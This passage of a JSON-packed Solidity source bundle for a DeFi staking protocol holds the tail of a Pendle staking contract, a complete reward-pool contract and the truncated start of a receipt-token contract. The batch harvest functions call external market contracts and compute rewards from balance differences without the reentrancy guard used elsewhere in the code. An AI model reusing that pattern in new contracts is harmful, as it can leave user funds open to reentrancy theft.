reward as bribe\n\n /* ===== 1st upgrade ===== */\n address public bribeManager;\n address public smartPendleConvert;\n address public ETHZapper;\n uint256 public harvestCallerPendleFee;\n\n uint256[46] private __gap;\n\n\n /* ============ Events ============ */\n\n // Admin\n event PoolAdded(address _market, address _rewarder, address _receiptToken);\n event PoolRemoved(uint256 _pid, address _lpToken);\n\n event SetMPendleConvertor(address _oldmPendleConvertor, address _newmPendleConvertor);\n\n // Fee\n event AddPendleFee(address _to, uint256 _value, bool _isMPENDLE, bool _isAddress);\n event SetPendleFee(address _to, uint256 _value);\n event RemovePendleFee(uint256 value, address to, bool _isMPENDLE, bool _isAddress);\n event RewardPaidTo(address _market, address _to, address _rewardToken, uint256 _feeAmount);\n event VePendleHarvested(\n uint256 _total,\n address[] _pool,\n uint256[] _totalAmounts,\n uint256 _protocolFee,\n uint256 _callerFee,\n uint256 _rest\n );\n\n event NewMarketDeposit(\n address indexed _user,\n address indexed _market,\n uint256 _lpAmount,\n address indexed _receptToken,\n uint256 _receptAmount\n );\n event NewMarketWithdraw(\n address indexed _user,\n address indexed _market,\n uint256 _lpAmount,\n address indexed _receptToken,\n uint256 _receptAmount\n );\n event PendleLocked(uint256 _amount, uint256 _lockDays, uint256 _vePendleAccumulated);\n\n // Vote Manager\n event VoteSet(\n address _voter,\n uint256 _vePendleHarvestCallerFee,\n uint256 _harvestCallerPendleFee,\n uint256 _voteProtocolFee,\n address _voteFeeCollector\n );\n event VoteManagerUpdated(address _oldVoteManager, address _voteManager);\n event BribeManagerUpdated(address _oldBribeManager, address _bribeManager);\n event BribeManagerEOAUpdated(address _oldBribeManagerEOA, address _bribeManagerEOA);\n\n event SmartPendleConvertUpdated(address _OldSmartPendleConvert, address _smartPendleConvert);\n\n event PoolHelperUpdated(address _market);\n\n /* ============ Errors ============ */\n\n error OnlyPoolHelper();\n error OnlyActivePool();\n error PoolOccupied();\n error InvalidFee();\n error LengthMismatch();\n error OnlyVoteManager();\n error TimeGapTooMuch();\n error NoVePendleReward();\n error InvalidFeeDestination();\n error ZeroNotAllowed();\n error InvalidAddress();\n\n /* ============ Constructor ============ */\n\n function __PendleStakingBaseUpg_init(\n address _pendle,\n address _WETH,\n address _vePendle,\n address _distributorETH,\n address _pendleRouter,\n address _masterPenpie\n ) public initializer {\n __Ownable_init();\n __ReentrancyGuard_init();\n __Pausable_init();\n PENDLE = _pendle;\n WETH = _WETH;\n masterPenpie = _masterPenpie;\n vePendle = IPVotingEscrowMainchain(_vePendle);\n distributorETH = IPFeeDistributorV2(_distributorETH);\n pendleRouter = IPendleRouter(_pendleRouter);\n }\n\n /* ============ Modifiers ============ */\n\n modifier _onlyPoolHelper(address _market) {\n Pool storage poolInfo = pools[_market];\n\n if (msg.sender != poolInfo.helper) revert OnlyPoolHelper();\n _;\n }\n\n modifier _onlyActivePool(address _market) {\n Pool storage poolInfo = pools[_market];\n\n if (!poolInfo.isActive) revert OnlyActivePool();\n _;\n }\n\n modifier _onlyActivePoolHelper(address _market) {\n Pool storage poolInfo = pools[_market];\n\n if (msg.sender != poolInfo.helper) revert OnlyPoolHelper();\n if (!poolInfo.isActive) revert OnlyActivePool();\n _;\n }\n\n /* ============ External Getters ============ */\n\n receive() external payable {\n // Deposit ETH to WETH\n IWETH(WETH).deposit{ value: msg.value }();\n }\n\n /// @notice get the number of vePendle of this contract\n function accumulatedVePendle() public view returns (uint256) {\n return IPVotingEscrowMainchain(vePendle).balanceOf(address(this));\n }\n\n function getPoolLength() external view returns (uint256) {\n return poolTokenList.length;\n }\n\n /* ============ External Functions ============ */\n\n function depositMarket(\n address _market,\n address _for,\n address _from,\n uint256 _amount\n ) external override nonReentrant whenNotPaused _onlyActivePoolHelper(_market){\n Pool storage poolInfo = pools[_market];\n _harvestMarketRewards(poolInfo.market, false);\n\n IERC20(poolInfo.market).safeTransferFrom(_from, address(this), _amount);\n\n // mint the receipt to the user driectly\n IMintableERC20(poolInfo.receiptToken).mint(_for, _amount);\n\n emit NewMarketDeposit(_for, _market, _amount, poolInfo.receiptToken, _amount);\n }\n\n function withdrawMarket(\n address _market,\n address _for,\n uint256 _amount\n ) external override nonReentrant whenNotPaused _onlyPoolHelper(_market) {\n Pool storage poolInfo = pools[_market];\n _harvestMarketRewards(poolInfo.market, false);\n\n IMintableERC20(poolInfo.receiptToken).burn(_for, _amount);\n\n IERC20(poolInfo.market).safeTransfer(_for, _amount);\n // emit New withdraw\n emit NewMarketWithdraw(_for, _market, _amount, poolInfo.receiptToken, _amount);\n }\n\n /// @notice harvest a Rewards from Pendle Liquidity Pool\n /// @param _market Pendle Pool lp as helper identifier\n function harvestMarketReward(\n address _market,\n address _caller,\n uint256 _minEthRecive\n ) external whenNotPaused _onlyActivePool(_market) {\n address[] memory _markets = new address[](1);\n _markets[0] = _market;\n _harvestBatchMarketRewards(_markets, _caller, _minEthRecive); // triggers harvest from Pendle finance\n }\n\n function batchHarvestMarketRewards(\n address[] calldata _markets,\n uint256 minEthToRecieve\n ) external whenNotPaused {\n _harvestBatchMarketRewards(_markets, msg.sender, minEthToRecieve);\n }\n\n /* ============ Admin Functions ============ */\n\n function registerPool(\n address _market,\n uint256 _allocPoints,\n string memory name,\n string memory symbol\n ) external onlyOwner {\n if (pools[_market].isActive != false) {\n revert PoolOccupied();\n }\n\n IERC20 newToken = IERC20(\n ERC20FactoryLib.createReceipt(_market, masterPenpie, name, symbol)\n );\n\n address rewarder = IMasterPenpie(masterPenpie).createRewarder(\n address(newToken),\n address(PENDLE)\n );\n\n IPendleMarketDepositHelper(marketDepositHelper).setPoolInfo(_market, rewarder, true);\n\n IMasterPenpie(masterPenpie).add(\n _allocPoints,\n address(_market),\n address(newToken),\n address(rewarder)\n );\n\n pools[_market] = Pool({\n isActive: true,\n market: _market,\n receiptToken: address(newToken),\n rewarder: address(rewarder),\n helper: marketDepositHelper,\n lastHarvestTime: block.timestamp\n });\n poolTokenList.push(_market);\n\n emit PoolAdded(_market, address(rewarder), address(newToken));\n }\n\n /// @notice set the mPendleConvertor address\n /// @param _mPendleConvertor the mPendleConvertor address\n function setMPendleConvertor(address _mPendleConvertor) external onlyOwner {\n address oldMPendleConvertor = mPendleConvertor;\n mPendleConvertor = _mPendleConvertor;\n\n emit SetMPendleConvertor(oldMPendleConvertor, mPendleConvertor);\n }\n\n function setVoteManager(address _voteManager) external onlyOwner {\n address oldVoteManager = voteManager;\n voteManager = _voteManager;\n\n emit VoteManagerUpdated(oldVoteManager, voteManager);\n }\n\n function setBribeManager(address _bribeManager, address _bribeManagerEOA) external onlyOwner {\n address oldBribeManager = bribeManager;\n bribeManager = _bribeManager;\n\n address oldBribeManagerEOA = bribeManagerEOA;\n bribeManagerEOA = _bribeManagerEOA;\n\n emit BribeManagerUpdated(oldBribeManager, bribeManager);\n emit BribeManagerEOAUpdated(oldBribeManagerEOA, bribeManagerEOA);\n }\n\n function setmasterPenpie(address _masterPenpie) external onlyOwner {\n masterPenpie = _masterPenpie;\n }\n\n function setMPendleOFT(address _setMPendleOFT) external onlyOwner {\n mPendleOFT = _setMPendleOFT;\n }\n\n function setETHZapper(address _ETHZapper) external onlyOwner {\n ETHZapper = _ETHZapper;\n }\n\n /**\n * @notice pause Pendle staking, restricting certain operations\n */\n function pause() external nonReentrant onlyOwner {\n _pause();\n }\n\n /**\n * @notice unpause Pendle staking, enabling certain operations\n */\n function unpause() external nonReentrant onlyOwner {\n _unpause();\n }\n\n /// @notice This function adds a fee to the magpie protocol\n /// @param _value the initial value for that fee\n /// @param _to the address or contract that receives the fee\n /// @param _isMPENDLE true if the fee is sent as MPENDLE, otherwise it will be PENDLE\n /// @param _isAddress true if the receiver is an address, otherwise it's a BaseRewarder\n function addPendleFee(\n uint256 _value,\n address _to,\n bool _isMPENDLE,\n bool _isAddress\n ) external onlyOwner {\n if (_value >= DENOMINATOR) revert InvalidFee();\n\n pendleFeeInfos.push(\n Fees({\n value: _value,\n to: _to,\n isMPENDLE: _isMPENDLE,\n isAddress: _isAddress,\n isActive: true\n })\n );\n totalPendleFee += _value;\n\n emit AddPendleFee(_to, _value, _isMPENDLE, _isAddress);\n }\n\n /**\n * @dev Set the Pendle fee.\n * @param _index The index of the fee.\n * @param _value The value of the fee.\n * @param _to The address to which the fee is sent.\n * @param _isMPENDLE Boolean indicating if the fee is in MPENDLE.\n * @param _isAddress Boolean indicating if the fee is in an external token.\n * @param _isActive Boolean indicating if the fee is active.\n */\n function setPendleFee(\n uint256 _index,\n uint256 _value,\n address _to,\n bool _isMPENDLE,\n bool _isAddress,\n bool _isActive\n ) external onlyOwner {\n if (_value >= DENOMINATOR) revert InvalidFee();\n\n Fees storage fee = pendleFeeInfos[_index];\n fee.to = _to;\n fee.isMPENDLE = _isMPENDLE;\n fee.isAddress = _isAddress;\n fee.isActive = _isActive;\n\n totalPendleFee = totalPendleFee - fee.value + _value;\n fee.value = _value;\n\n emit SetPendleFee(fee.to, _value);\n }\n\n /// @notice remove some fee\n /// @param _index the index of the fee in the fee list\n function removePendleFee(uint256 _index) external onlyOwner {\n Fees memory feeToRemove = pendleFeeInfos[_index];\n\n for (uint i = _index; i < pendleFeeInfos.length - 1; i++) {\n pendleFeeInfos[i] = pendleFeeInfos[i + 1];\n }\n pendleFeeInfos.pop();\n totalPendleFee -= feeToRemove.value;\n\n emit RemovePendleFee(\n feeToRemove.value,\n feeToRemove.to,\n feeToRemove.isMPENDLE,\n feeToRemove.isAddress\n );\n }\n\n function setVote(\n address _pendleVote,\n uint256 _vePendleHarvestCallerFee,\n uint256 _harvestCallerPendleFee,\n uint256 _protocolFee,\n address _feeCollector\n ) external onlyOwner {\n if ((_vePendleHarvestCallerFee + _protocolFee) > DENOMINATOR) revert InvalidFee();\n\n if ((_harvestCallerPendleFee + _protocolFee) > DENOMINATOR) revert InvalidFee();\n\n pendleVote = IPVoteController(_pendleVote);\n vePendleHarvestCallerFee = _vePendleHarvestCallerFee;\n harvestCallerPendleFee = _harvestCallerPendleFee;\n protocolFee = _protocolFee;\n feeCollector = _feeCollector;\n\n emit VoteSet(\n _pendleVote,\n vePendleHarvestCallerFee,\n harvestCallerPendleFee,\n protocolFee,\n feeCollector\n );\n }\n\n function setMarketDepositHelper(address _helper) external onlyOwner {\n marketDepositHelper = _helper;\n }\n\n function setHarvestTimeGap(uint256 _period) external onlyOwner {\n if (_period > 4 hours) revert TimeGapTooMuch();\n\n harvestTimeGap = _period;\n }\n\n function setSmartConvert(address _smartPendleConvert) external onlyOwner {\n if (_smartPendleConvert == address(0)) revert InvalidAddress();\n address oldSmartPendleConvert = smartPendleConvert;\n smartPendleConvert = _smartPendleConvert;\n\n emit SmartPendleConvertUpdated(oldSmartPendleConvert, smartPendleConvert);\n }\n\n function setAutoBribeFee(uint256 _autoBribeFee) external onlyOwner {\n if (_autoBribeFee > DENOMINATOR) revert InvalidFee();\n autoBribeFee = _autoBribeFee;\n }\n\n function updateMarketRewards(address _market, uint256[] memory amounts) external onlyOwner {\n Pool storage poolInfo = pools[_market];\n address[] memory bonusTokens = IPendleMarket(_market).getRewardTokens();\n require(bonusTokens.length == amounts.length, \"...\");\n\n uint256 pendleBefore = IERC20(PENDLE).balanceOf(address(this));\n for (uint256 i; i < bonusTokens.length; i++) {\n if (bonusTokens[i] == NATIVE) bonusTokens[i] = address(WETH);\n uint256 leftAmounts = amounts[i];\n _sendRewards(_market, bonusTokens[i], poolInfo.rewarder, amounts[i], leftAmounts);\n }\n\n uint256 pendleForMPendleFee = IERC20(PENDLE).balanceOf(address(this)) - pendleBefore;\n _sendMPendleFees(pendleForMPendleFee);\n }\n\n function updatePoolHelper(\n address _market,\n address _helper\n ) external onlyOwner _onlyActivePool(_market) {\n if (_helper == address(0) || _market == address(0)) revert InvalidAddress();\n \n Pool storage poolInfo = pools[_market];\n poolInfo.helper = _helper;\n\n IPendleMarketDepositHelper(_helper).setPoolInfo(\n _market,\n poolInfo.rewarder,\n poolInfo.isActive\n );\n\n emit PoolHelperUpdated(_helper);\n }\n\n /* ============ Internal Functions ============ */\n\n function _harvestMarketRewards(address _market, bool _force) internal {\n Pool storage poolInfo = pools[_market];\n if (!_force && (block.timestamp - poolInfo.lastHarvestTime) < harvestTimeGap) return;\n uint256 pendleBefore = IERC20(PENDLE).balanceOf(address(this));\n\n poolInfo.lastHarvestTime = block.timestamp;\n\n address[] memory bonusTokens = IPendleMarket(_market).getRewardTokens();\n uint256[] memory amountsBefore = new uint256[](bonusTokens.length);\n\n for (uint256 i; i < bonusTokens.length; i++) {\n if (bonusTokens[i] == NATIVE) bonusTokens[i] = address(WETH);\n amountsBefore[i] = IERC20(bonusTokens[i]).balanceOf(address(this));\n }\n\n IPendleMarket(_market).redeemRewards(address(this));\n\n for (uint256 i; i < bonusTokens.length; i++) {\n if (bonusTokens[i] == NATIVE) bonusTokens[i] = address(WETH);\n uint256 amountAfter = IERC20(bonusTokens[i]).balanceOf(address(this));\n uint256 bonusBalance = amountAfter - amountsBefore[i];\n uint256 leftBonusBalance = bonusBalance;\n if (bonusBalance > 0) {\n _sendRewards(\n _market,\n bonusTokens[i],\n poolInfo.rewarder,\n bonusBalance,\n leftBonusBalance\n );\n }\n }\n\n uint256 pendleForMPendleFee = IERC20(PENDLE).balanceOf(address(this)) - pendleBefore;\n _sendMPendleFees(pendleForMPendleFee);\n }\n\n function _harvestBatchMarketRewards(\n address[] memory _markets,\n address _caller,\n uint256 _minEthToRecieve\n ) internal {\n uint256 harvestCallerTotalPendleReward;\n uint256 pendleBefore = IERC20(PENDLE).balanceOf(address(this));\n\n for (uint256 i = 0; i < _markets.length; i++) {\n if (!pools[_markets[i]].isActive) revert OnlyActivePool();\n Pool storage poolInfo = pools[_markets[i]];\n\n poolInfo.lastHarvestTime = block.timestamp;\n\n address[] memory bonusTokens = IPendleMarket(_markets[i]).getRewardTokens();\n uint256[] memory amountsBefore = new uint256[](bonusTokens.length);\n\n for (uint256 j; j < bonusTokens.length; j++) {\n if (bonusTokens[j] == NATIVE) bonusTokens[j] = address(WETH);\n\n amountsBefore[j] = IERC20(bonusTokens[j]).balanceOf(address(this));\n }\n\n IPendleMarket(_markets[i]).redeemRewards(address(this));\n\n for (uint256 j; j < bonusTokens.length; j++) {\n uint256 amountAfter = IERC20(bonusTokens[j]).balanceOf(address(this));\n\n uint256 originalBonusBalance = amountAfter - amountsBefore[j];\n uint256 leftBonusBalance = originalBonusBalance;\n uint256 currentMarketHarvestPendleReward;\n\n if (originalBonusBalance == 0) continue;\n\n if (bonusTokens[j] == PENDLE) {\n currentMarketHarvestPendleReward =\n (originalBonusBalance * harvestCallerPendleFee) /\n DENOMINATOR;\n leftBonusBalance = originalBonusBalance - currentMarketHarvestPendleReward;\n }\n harvestCallerTotalPendleReward += currentMarketHarvestPendleReward;\n\n _sendRewards(\n _markets[i],\n bonusTokens[j],\n poolInfo.rewarder,\n originalBonusBalance,\n leftBonusBalance\n );\n }\n }\n\n uint256 pendleForMPendleFee = IERC20(PENDLE).balanceOf(address(this)) - pendleBefore - harvestCallerTotalPendleReward;\n _sendMPendleFees(pendleForMPendleFee);\n \n if (harvestCallerTotalPendleReward > 0) {\n IERC20(PENDLE).approve(ETHZapper, harvestCallerTotalPendleReward);\n\n IETHZapper(ETHZapper).swapExactTokensToETH(\n PENDLE,\n harvestCallerTotalPendleReward,\n _minEthToRecieve,\n _caller\n );\n }\n }\n\n function _sendMPendleFees(uint256 _pendleAmount) internal {\n uint256 totalmPendleFees;\n uint256 mPendleFeesToSend;\n\n if (_pendleAmount > 0) {\n mPendleFeesToSend = _convertPendleTomPendle(_pendleAmount);\n } else {\n return; // no need to send mPendle\n }\n\n for (uint256 i = 0; i < pendleFeeInfos.length; i++) {\n Fees storage feeInfo = pendleFeeInfos[i];\n if (feeInfo.isActive && feeInfo.isMPENDLE){\n totalmPendleFees+=feeInfo.value;\n }\n }\n\n for (uint256 i = 0; i < pendleFeeInfos.length; i++) {\n Fees storage feeInfo = pendleFeeInfos[i];\n if (feeInfo.isActive && feeInfo.isMPENDLE) {\n uint256 amount = mPendleFeesToSend * (feeInfo.value * DENOMINATOR / totalmPendleFees)/ DENOMINATOR;\n if(amount > 0){\n if (!feeInfo.isAddress) {\n IERC20(mPendleOFT).safeApprove(feeInfo.to, amount);\n IBaseRewardPool(feeInfo.to).queueNewRewards(amount, mPendleOFT);\n } else {\n IERC20(mPendleOFT).safeTransfer(feeInfo.to, amount);\n }\n }\n }\n }\n }\n\n function _convertPendleTomPendle(uint256 _pendleAmount) internal returns(uint256 mPendleToSend) {\n uint256 mPendleBefore = IERC20(mPendleOFT).balanceOf(address(this));\n \n if (smartPendleConvert != address(0)) {\n IERC20(PENDLE).safeApprove(smartPendleConvert, _pendleAmount);\n ISmartPendleConvert(smartPendleConvert).smartConvert(_pendleAmount, 0);\n mPendleToSend = IERC20(mPendleOFT).balanceOf(address(this)) - mPendleBefore;\n } else {\n IERC20(PENDLE).safeApprove(mPendleConvertor, _pendleAmount);\n IConvertor(mPendleConvertor).convert(address(this), _pendleAmount, 0);\n mPendleToSend = IERC20(mPendleOFT).balanceOf(address(this)) - mPendleBefore;\n }\n }\n\n /// @notice Send rewards to the rewarders\n /// @param _market the PENDLE market\n /// @param _rewardToken the address of the reward token to send\n /// @param _rewarder the rewarder for PENDLE lp that will get the rewards\n /// @param _originalRewardAmount the initial amount of rewards after harvest\n /// @param _leftRewardAmount the intial amount - harvest caller rewardfee amount after harvest\n function _sendRewards(\n address _market,\n address _rewardToken,\n address _rewarder,\n uint256 _originalRewardAmount,\n uint256 _leftRewardAmount\n ) internal {\n if (_leftRewardAmount == 0) return;\n\n if (_rewardToken == address(PENDLE)) {\n for (uint256 i = 0; i < pendleFeeInfos.length; i++) {\n Fees storage feeInfo = pendleFeeInfos[i];\n\n if (feeInfo.isActive) {\n uint256 feeAmount = (_originalRewardAmount * feeInfo.value) / DENOMINATOR;\n _leftRewardAmount -= feeAmount;\n uint256 feeTosend = feeAmount;\n\n if (!feeInfo.isMPENDLE) {\n if (!feeInfo.isAddress) {\n IERC20(_rewardToken).safeApprove(feeInfo.to, feeTosend);\n IBaseRewardPool(feeInfo.to).queueNewRewards(feeTosend, _rewardToken);\n } else {\n IERC20(_rewardToken).safeTransfer(feeInfo.to, feeTosend);\n }\n }\n emit RewardPaidTo(_market, feeInfo.to, _rewardToken, feeTosend);\n }\n }\n } else {\n // other than PENDLE reward token.\n // if auto Bribe fee is 0, then all go to LP rewarder\n if (autoBribeFee > 0 && bribeManager != address(0)) {\n uint256 bribePid = IPenpieBribeManager(bribeManager).marketToPid(_market);\n if (IPenpieBribeManager(bribeManager).pools(bribePid)._active) {\n uint256 autoBribeAmount = (_originalRewardAmount * autoBribeFee) / DENOMINATOR;\n _leftRewardAmount -= autoBribeAmount;\n IERC20(_rewardToken).safeApprove(bribeManager, autoBribeAmount);\n IPenpieBribeManager(bribeManager).addBribeERC20(\n 1,\n bribePid,\n _rewardToken,\n autoBribeAmount\n );\n\n emit RewardPaidTo(_market, bribeManager, _rewardToken, autoBribeAmount);\n }\n }\n }\n\n IERC20(_rewardToken).safeApprove(_rewarder, 0);\n IERC20(_rewardToken).safeApprove(_rewarder, _leftRewardAmount);\n IBaseRewardPool(_rewarder).queueNewRewards(_leftRewardAmount, _rewardToken);\n emit RewardPaidTo(_market, _rewarder, _rewardToken, _leftRewardAmount);\n }\n}"
},
"contracts/rewards/BaseRewardPoolV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport { Ownable } from \"@openzeppelin/contracts/access/Ownable.sol\";\nimport { IERC20Metadata } from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport { IMasterPenpie } from \"../interfaces/IMasterPenpie.sol\";\n\nimport \"../interfaces/IBaseRewardPool.sol\";\n\n/// @title A contract for managing rewards for a pool\n/// @author Magpie Team\n/// @notice You can use this contract for getting informations about rewards for a specific pools\ncontract BaseRewardPoolV2 is Ownable, IBaseRewardPool {\n using SafeERC20 for IERC20Metadata;\n using SafeERC20 for IERC20;\n\n /* ============ State Variables ============ */\n\n address public immutable receiptToken;\n address public immutable operator; // master Penpie\n uint256 public immutable receiptTokenDecimals;\n\n address[] public rewardTokens;\n\n struct Reward {\n address rewardToken;\n uint256 rewardPerTokenStored;\n uint256 queuedRewards;\n }\n\n struct UserInfo {\n uint256 userRewardPerTokenPaid;\n uint256 userRewards;\n }\n\n mapping(address => Reward) public rewards; // [rewardToken]\n // amount by [rewardToken][account], \n mapping(address => mapping(address => UserInfo)) public userInfos;\n mapping(address => bool) public isRewardToken;\n mapping(address => bool) public rewardQueuers;\n\n /* ============ Events ============ */\n\n event RewardAdded(uint256 _reward, address indexed _token);\n event Staked(address indexed _user, uint256 _amount);\n event Withdrawn(address indexed _user, uint256 _amount);\n event RewardPaid(address indexed _user, address indexed _receiver, uint256 _reward, address indexed _token);\n event RewardQueuerUpdated(address indexed _manager, bool _allowed);\n\n /* ============ Errors ============ */\n\n error OnlyRewardQueuer();\n error OnlyMasterPenpie();\n error NotAllowZeroAddress();\n error MustBeRewardToken();\n\n /* ============ Constructor ============ */\n\n constructor(\n address _receiptToken,\n address _rewardToken,\n address _masterPenpie,\n address _rewardQueuer\n ) {\n if(\n _receiptToken == address(0) ||\n _masterPenpie == address(0) ||\n _rewardQueuer == address(0)\n ) revert NotAllowZeroAddress();\n\n receiptToken = _receiptToken;\n receiptTokenDecimals = IERC20Metadata(receiptToken).decimals();\n operator = _masterPenpie;\n\n if (_rewardToken != address(0)) {\n rewards[_rewardToken] = Reward({\n rewardToken: _rewardToken,\n rewardPerTokenStored: 0,\n queuedRewards: 0\n });\n rewardTokens.push(_rewardToken);\n }\n\n isRewardToken[_rewardToken] = true;\n rewardQueuers[_rewardQueuer] = true;\n }\n\n /* ============ Modifiers ============ */\n\n modifier onlyRewardQueuer() {\n if (!rewardQueuers[msg.sender])\n revert OnlyRewardQueuer();\n _;\n }\n\n modifier onlyMasterPenpie() {\n if (msg.sender != operator)\n revert OnlyMasterPenpie();\n _;\n }\n\n modifier updateReward(address _account) {\n _updateFor(_account);\n _;\n }\n\n modifier updateRewards(address _account, address[] memory _rewards) {\n uint256 length = _rewards.length;\n uint256 userShare = balanceOf(_account);\n \n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = _rewards[index];\n UserInfo storage userInfo = userInfos[rewardToken][_account];\n // if a reward stopped queuing, no need to recalculate to save gas fee\n if (userInfo.userRewardPerTokenPaid == rewardPerToken(rewardToken))\n continue;\n userInfo.userRewards = _earned(_account, rewardToken, userShare);\n userInfo.userRewardPerTokenPaid = rewardPerToken(rewardToken);\n }\n _;\n } \n\n /* ============ External Getters ============ */\n\n /// @notice Returns current amount of staked tokens\n /// @return Returns current amount of staked tokens\n function totalStaked() public override virtual view returns (uint256) {\n return IERC20(receiptToken).totalSupply();\n }\n\n /// @notice Returns amount of staked tokens in master Penpie by account\n /// @param _account Address account\n /// @return Returns amount of staked tokens by account\n function balanceOf(address _account) public override virtual view returns (uint256) {\n return IERC20(receiptToken).balanceOf(_account);\n }\n\n function stakingDecimals() external override virtual view returns (uint256) {\n return receiptTokenDecimals;\n }\n\n /// @notice Returns amount of reward token per staking tokens in pool\n /// @param _rewardToken Address reward token\n /// @return Returns amount of reward token per staking tokens in pool\n function rewardPerToken(address _rewardToken)\n public\n override\n view\n returns (uint256)\n {\n return rewards[_rewardToken].rewardPerTokenStored;\n }\n\n function rewardTokenInfos()\n override\n external\n view\n returns\n (\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols\n )\n {\n uint256 rewardTokensLength = rewardTokens.length;\n bonusTokenAddresses = new address[](rewardTokensLength);\n bonusTokenSymbols = new string[](rewardTokensLength);\n for (uint256 i; i < rewardTokensLength; i++) {\n bonusTokenAddresses[i] = rewardTokens[i];\n bonusTokenSymbols[i] = IERC20Metadata(address(bonusTokenAddresses[i])).symbol();\n }\n }\n\n /// @notice Returns amount of reward token earned by a user\n /// @param _account Address account\n /// @param _rewardToken Address reward token\n /// @return Returns amount of reward token earned by a user\n function earned(address _account, address _rewardToken)\n public\n override\n view\n returns (uint256)\n {\n return _earned(_account, _rewardToken, balanceOf(_account));\n }\n\n /// @notice Returns amount of all reward tokens\n /// @param _account Address account\n /// @return pendingBonusRewards as amounts of all rewards.\n function allEarned(address _account)\n external\n override\n view\n returns (\n uint256[] memory pendingBonusRewards\n )\n {\n uint256 length = rewardTokens.length;\n pendingBonusRewards = new uint256[](length);\n for (uint256 i = 0; i < length; i++) {\n pendingBonusRewards[i] = earned(_account, rewardTokens[i]);\n }\n\n return pendingBonusRewards;\n }\n\n function getRewardLength() external view returns(uint256) {\n return rewardTokens.length;\n } \n\n /* ============ External Functions ============ */\n\n /// @notice Updates the reward information for one account\n /// @param _account Address account\n function updateFor(address _account) override external {\n _updateFor(_account);\n }\n\n function getReward(address _account, address _receiver)\n public\n onlyMasterPenpie\n updateReward(_account)\n returns (bool)\n {\n uint256 length = rewardTokens.length;\n\n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = rewardTokens[index];\n _sendReward(rewardToken, _account, _receiver);\n }\n return true;\n }\n\n function getRewards(address _account, address _receiver, address[] memory _rewardTokens) override\n external\n onlyMasterPenpie\n updateRewards(_account, _rewardTokens)\n {\n uint256 length = _rewardTokens.length;\n \n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = _rewardTokens[index];\n _sendReward(rewardToken, _account, _receiver);\n }\n }\n\n /// @notice Sends new rewards to be distributed to the users staking. Only possible to donate already registered token\n /// @param _amountReward Amount of reward token to be distributed\n /// @param _rewardToken Address reward token\n function donateRewards(uint256 _amountReward, address _rewardToken) external {\n if (!isRewardToken[_rewardToken])\n revert MustBeRewardToken();\n\n _provisionReward(_amountReward, _rewardToken);\n }\n\n /* ============ Admin Functions ============ */\n\n function updateRewardQueuer(address _rewardManager, bool _allowed) external onlyOwner {\n rewardQueuers[_rewardManager] = _allowed;\n\n emit RewardQueuerUpdated(_rewardManager, rewardQueuers[_rewardManager]);\n }\n\n /// @notice Sends new rewards to be distributed to the users staking. Only callable by manager\n /// @param _amountReward Amount of reward token to be distributed\n /// @param _rewardToken Address reward token\n function queueNewRewards(uint256 _amountReward, address _rewardToken)\n override\n external\n onlyRewardQueuer\n returns (bool)\n {\n if (!isRewardToken[_rewardToken]) {\n rewardTokens.push(_rewardToken);\n isRewardToken[_rewardToken] = true;\n }\n\n _provisionReward(_amountReward, _rewardToken);\n return true;\n }\n\n /* ============ Internal Functions ============ */\n\n function _provisionReward(uint256 _amountReward, address _rewardToken) internal {\n IERC20(_rewardToken).safeTransferFrom(\n msg.sender,\n address(this),\n _amountReward\n );\n Reward storage rewardInfo = rewards[_rewardToken];\n\n uint256 totalStake = totalStaked();\n if (totalStake == 0) {\n rewardInfo.queuedRewards += _amountReward;\n } else {\n if (rewardInfo.queuedRewards > 0) {\n _amountReward += rewardInfo.queuedRewards;\n rewardInfo.queuedRewards = 0;\n }\n rewardInfo.rewardPerTokenStored =\n rewardInfo.rewardPerTokenStored +\n (_amountReward * 10**receiptTokenDecimals) /\n totalStake;\n }\n emit RewardAdded(_amountReward, _rewardToken);\n }\n\n function _earned(address _account, address _rewardToken, uint256 _userShare) internal view returns (uint256) {\n UserInfo storage userInfo = userInfos[_rewardToken][_account];\n return ((_userShare *\n (rewardPerToken(_rewardToken) -\n userInfo.userRewardPerTokenPaid)) /\n 10**receiptTokenDecimals) + userInfo.userRewards;\n }\n\n function _sendReward(address _rewardToken, address _account, address _receiver) internal {\n uint256 _amount = userInfos[_rewardToken][_account].userRewards;\n if (_amount != 0) {\n userInfos[_rewardToken][_account].userRewards = 0;\n IERC20(_rewardToken).safeTransfer(_receiver, _amount);\n emit RewardPaid(_account, _receiver, _amount, _rewardToken);\n }\n }\n\n function _updateFor(address _account) internal {\n uint256 length = rewardTokens.length;\n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = rewardTokens[index];\n UserInfo storage userInfo = userInfos[rewardToken][_account];\n // if a reward stopped queuing, no need to recalculate to save gas fee\n if (userInfo.userRewardPerTokenPaid == rewardPerToken(rewardToken))\n continue;\n\n userInfo.userRewards = earned(_account, rewardToken);\n userInfo.userRewardPerTokenPaid = rewardPerToken(rewardToken);\n }\n }\n}"
},
"contracts/rewards/PenpieReceiptToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)\npragma solidity ^0.8.19;\n\nimport { ERC20, IERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport { IERC20Metadata } from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport { Ownable } from \"@openzeppelin/contracts/access/Ownable.sol\";\nimport { IMasterPenpie } from \"../interfaces/IMasterPenpie.sol\";\n\n/// @title PenpieReceiptToken is to represent a Pendle Market deposited to penpie posistion. PenpieReceiptToken is minted to user who deposited Market token\n/// on pendle staking to increase defi lego\n/// \n/// Reward from Magpie and on BaseReward should be updated upon every transfer.\n///\n/// @author Magpie Team\n/// @notice Mater penpie emit `PNP` reward token based on Time. For a pool, \n\ncontract PenpieReceiptToken is ERC20, Ownable {\n using SafeERC20 for IERC20Metadata;\n using SafeERC20 for IERC20;\n\n address public underlying;\n address public immutable masterPenpie;\n\n\n /* ============ Errors ============ */\n\n /* ============ Events ============ */\n\n constructor(address 